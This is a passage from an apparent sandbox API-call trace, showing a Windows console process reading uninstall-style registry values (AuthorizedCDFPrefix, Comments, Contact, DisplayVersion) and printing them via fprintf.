(hFile=0x50) returned 0x1 [0147.267] lstrlenW (lpString=" ") returned 4 [0147.267] GetConsoleOutputCP () returned 0x1b5 [0147.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.267] GetConsoleOutputCP () returned 0x1b5 [0147.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.267] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.267] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.267] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.267] __iob_func () returned 0x7fefd702a80 [0147.267] _fileno (_File=0x7fefd702ab0) returned 1 [0147.267] _errno () returned 0xc4bb0 [0147.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.267] _errno () returned 0xc4bb0 [0147.267] GetFileType (hFile=0x50) returned 0x1 [0147.267] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.267] GetConsoleOutputCP () returned 0x1b5 [0147.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.268] GetConsoleOutputCP () returned 0x1b5 [0147.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.268] __iob_func () returned 0x7fefd702a80 [0147.268] _fileno (_File=0x7fefd702ab0) returned 1 [0147.268] _errno () returned 0xc4bb0 [0147.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.268] _errno () returned 0xc4bb0 [0147.268] GetFileType (hFile=0x50) returned 0x1 [0147.268] lstrlenW (lpString=" ") returned 4 [0147.268] GetConsoleOutputCP () returned 0x1b5 [0147.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.268] GetConsoleOutputCP () returned 0x1b5 [0147.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.268] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.268] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.268] __iob_func () returned 0x7fefd702a80 [0147.268] _fileno (_File=0x7fefd702ab0) returned 1 [0147.268] _errno () returned 0xc4bb0 [0147.268] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.268] _errno () returned 0xc4bb0 [0147.268] GetFileType (hFile=0x50) returned 0x1 [0147.268] lstrlenW (lpString="REG_SZ") returned 6 [0147.269] GetConsoleOutputCP () returned 0x1b5 [0147.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.269] GetConsoleOutputCP () returned 0x1b5 [0147.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.269] __iob_func () returned 0x7fefd702a80 [0147.269] _fileno (_File=0x7fefd702ab0) returned 1 [0147.269] _errno () returned 0xc4bb0 [0147.269] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.269] _errno () returned 0xc4bb0 [0147.269] GetFileType (hFile=0x50) returned 0x1 [0147.269] lstrlenW (lpString=" ") returned 4 [0147.269] GetConsoleOutputCP () returned 0x1b5 [0147.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.269] GetConsoleOutputCP () returned 0x1b5 [0147.269] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.269] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.269] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.269] __iob_func () returned 0x7fefd702a80 [0147.270] _fileno (_File=0x7fefd702ab0) returned 1 [0147.270] _errno () returned 0xc4bb0 [0147.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.270] _errno () returned 0xc4bb0 [0147.270] GetFileType (hFile=0x50) returned 0x1 [0147.270] lstrlenW (lpString="") returned 0 [0147.270] __iob_func () returned 0x7fefd702a80 [0147.270] _fileno (_File=0x7fefd702ab0) returned 1 [0147.270] _errno () returned 0xc4bb0 [0147.270] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.270] _errno () returned 0xc4bb0 [0147.270] GetFileType (hFile=0x50) returned 0x1 [0147.270] lstrlenW (lpString="\n") returned 1 [0147.270] GetConsoleOutputCP () returned 0x1b5 [0147.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.270] GetConsoleOutputCP () returned 0x1b5 [0147.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.270] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.270] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.270] GetProcessHeap () returned 0x2e0000 [0147.270] GetProcessHeap () returned 0x2e0000 [0147.270] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.270] GetProcessHeap () returned 0x2e0000 [0147.270] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.270] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.270] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.270] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.270] GetProcessHeap () returned 0x2e0000 [0147.270] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.270] GetProcessHeap () returned 0x2e0000 [0147.271] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.271] GetProcessHeap () returned 0x2e0000 [0147.271] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.271] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.271] __iob_func () returned 0x7fefd702a80 [0147.271] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.271] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.271] _fileno (_File=0x7fefd702ab0) returned 1 [0147.271] _errno () returned 0xc4bb0 [0147.271] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.271] _errno () returned 0xc4bb0 [0147.271] GetFileType (hFile=0x50) returned 0x1 [0147.271] lstrlenW (lpString=" ") returned 4 [0147.271] GetConsoleOutputCP () returned 0x1b5 [0147.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.271] GetConsoleOutputCP () returned 0x1b5 [0147.271] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.271] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.271] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.278] lstrlenW (lpString="Comments") returned 8 [0147.278] __iob_func () returned 0x7fefd702a80 [0147.278] _fileno (_File=0x7fefd702ab0) returned 1 [0147.278] _errno () returned 0xc4bb0 [0147.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.278] _errno () returned 0xc4bb0 [0147.278] GetFileType (hFile=0x50) returned 0x1 [0147.278] lstrlenW (lpString="Comments") returned 8 [0147.278] GetConsoleOutputCP () returned 0x1b5 [0147.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.278] GetConsoleOutputCP () returned 0x1b5 [0147.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.278] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.278] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.278] __iob_func () returned 0x7fefd702a80 [0147.278] _fileno (_File=0x7fefd702ab0) returned 1 [0147.278] _errno () returned 0xc4bb0 [0147.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.278] _errno () returned 0xc4bb0 [0147.278] GetFileType (hFile=0x50) returned 0x1 [0147.278] lstrlenW (lpString=" ") returned 4 [0147.278] GetConsoleOutputCP () returned 0x1b5 [0147.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.279] GetConsoleOutputCP () returned 0x1b5 [0147.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.279] __iob_func () returned 0x7fefd702a80 [0147.279] _fileno (_File=0x7fefd702ab0) returned 1 [0147.279] _errno () returned 0xc4bb0 [0147.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.279] _errno () returned 0xc4bb0 [0147.279] GetFileType (hFile=0x50) returned 0x1 [0147.279] lstrlenW (lpString="REG_SZ") returned 6 [0147.279] GetConsoleOutputCP () returned 0x1b5 [0147.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.279] GetConsoleOutputCP () returned 0x1b5 [0147.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.279] __iob_func () returned 0x7fefd702a80 [0147.279] _fileno (_File=0x7fefd702ab0) returned 1 [0147.279] _errno () returned 0xc4bb0 [0147.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.279] _errno () returned 0xc4bb0 [0147.279] GetFileType (hFile=0x50) returned 0x1 [0147.279] lstrlenW (lpString=" ") returned 4 [0147.280] GetConsoleOutputCP () returned 0x1b5 [0147.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.280] GetConsoleOutputCP () returned 0x1b5 [0147.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.280] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.280] __iob_func () returned 0x7fefd702a80 [0147.280] _fileno (_File=0x7fefd702ab0) returned 1 [0147.280] _errno () returned 0xc4bb0 [0147.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.280] _errno () returned 0xc4bb0 [0147.280] GetFileType (hFile=0x50) returned 0x1 [0147.280] lstrlenW (lpString="") returned 0 [0147.280] __iob_func () returned 0x7fefd702a80 [0147.280] _fileno (_File=0x7fefd702ab0) returned 1 [0147.280] _errno () returned 0xc4bb0 [0147.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.280] _errno () returned 0xc4bb0 [0147.280] GetFileType (hFile=0x50) returned 0x1 [0147.280] lstrlenW (lpString="\n") returned 1 [0147.280] GetConsoleOutputCP () returned 0x1b5 [0147.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.281] GetConsoleOutputCP () returned 0x1b5 [0147.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.281] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.281] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.281] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.281] GetProcessHeap () returned 0x2e0000 [0147.281] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.281] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.281] __iob_func () returned 0x7fefd702a80 [0147.281] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.281] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.281] _fileno (_File=0x7fefd702ab0) returned 1 [0147.281] _errno () returned 0xc4bb0 [0147.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.282] _errno () returned 0xc4bb0 [0147.282] GetFileType (hFile=0x50) returned 0x1 [0147.282] lstrlenW (lpString=" ") returned 4 [0147.282] GetConsoleOutputCP () returned 0x1b5 [0147.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.282] GetConsoleOutputCP () returned 0x1b5 [0147.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.282] lstrlenW (lpString="Contact") returned 7 [0147.282] __iob_func () returned 0x7fefd702a80 [0147.282] _fileno (_File=0x7fefd702ab0) returned 1 [0147.282] _errno () returned 0xc4bb0 [0147.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.282] _errno () returned 0xc4bb0 [0147.282] GetFileType (hFile=0x50) returned 0x1 [0147.282] lstrlenW (lpString="Contact") returned 7 [0147.282] GetConsoleOutputCP () returned 0x1b5 [0147.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.282] GetConsoleOutputCP () returned 0x1b5 [0147.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.283] __iob_func () returned 0x7fefd702a80 [0147.283] _fileno (_File=0x7fefd702ab0) returned 1 [0147.283] _errno () returned 0xc4bb0 [0147.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.283] _errno () returned 0xc4bb0 [0147.283] GetFileType (hFile=0x50) returned 0x1 [0147.283] lstrlenW (lpString=" ") returned 4 [0147.283] GetConsoleOutputCP () returned 0x1b5 [0147.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.283] GetConsoleOutputCP () returned 0x1b5 [0147.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.283] __iob_func () returned 0x7fefd702a80 [0147.283] _fileno (_File=0x7fefd702ab0) returned 1 [0147.283] _errno () returned 0xc4bb0 [0147.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.283] _errno () returned 0xc4bb0 [0147.283] GetFileType (hFile=0x50) returned 0x1 [0147.283] lstrlenW (lpString="REG_SZ") returned 6 [0147.283] GetConsoleOutputCP () returned 0x1b5 [0147.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.283] GetConsoleOutputCP () returned 0x1b5 [0147.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.284] __iob_func () returned 0x7fefd702a80 [0147.284] _fileno (_File=0x7fefd702ab0) returned 1 [0147.284] _errno () returned 0xc4bb0 [0147.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.284] _errno () returned 0xc4bb0 [0147.284] GetFileType (hFile=0x50) returned 0x1 [0147.284] lstrlenW (lpString=" ") returned 4 [0147.284] GetConsoleOutputCP () returned 0x1b5 [0147.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.284] GetConsoleOutputCP () returned 0x1b5 [0147.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.284] __iob_func () returned 0x7fefd702a80 [0147.284] _fileno (_File=0x7fefd702ab0) returned 1 [0147.284] _errno () returned 0xc4bb0 [0147.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.284] _errno () returned 0xc4bb0 [0147.284] GetFileType (hFile=0x50) returned 0x1 [0147.284] lstrlenW (lpString="") returned 0 [0147.284] __iob_func () returned 0x7fefd702a80 [0147.284] _fileno (_File=0x7fefd702ab0) returned 1 [0147.284] _errno () returned 0xc4bb0 [0147.285] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.285] _errno () returned 0xc4bb0 [0147.285] GetFileType (hFile=0x50) returned 0x1 [0147.285] lstrlenW (lpString="\n") returned 1 [0147.285] GetConsoleOutputCP () returned 0x1b5 [0147.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.285] GetConsoleOutputCP () returned 0x1b5 [0147.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.285] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.285] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.285] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0147.285] GetProcessHeap () returned 0x2e0000 [0147.285] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, 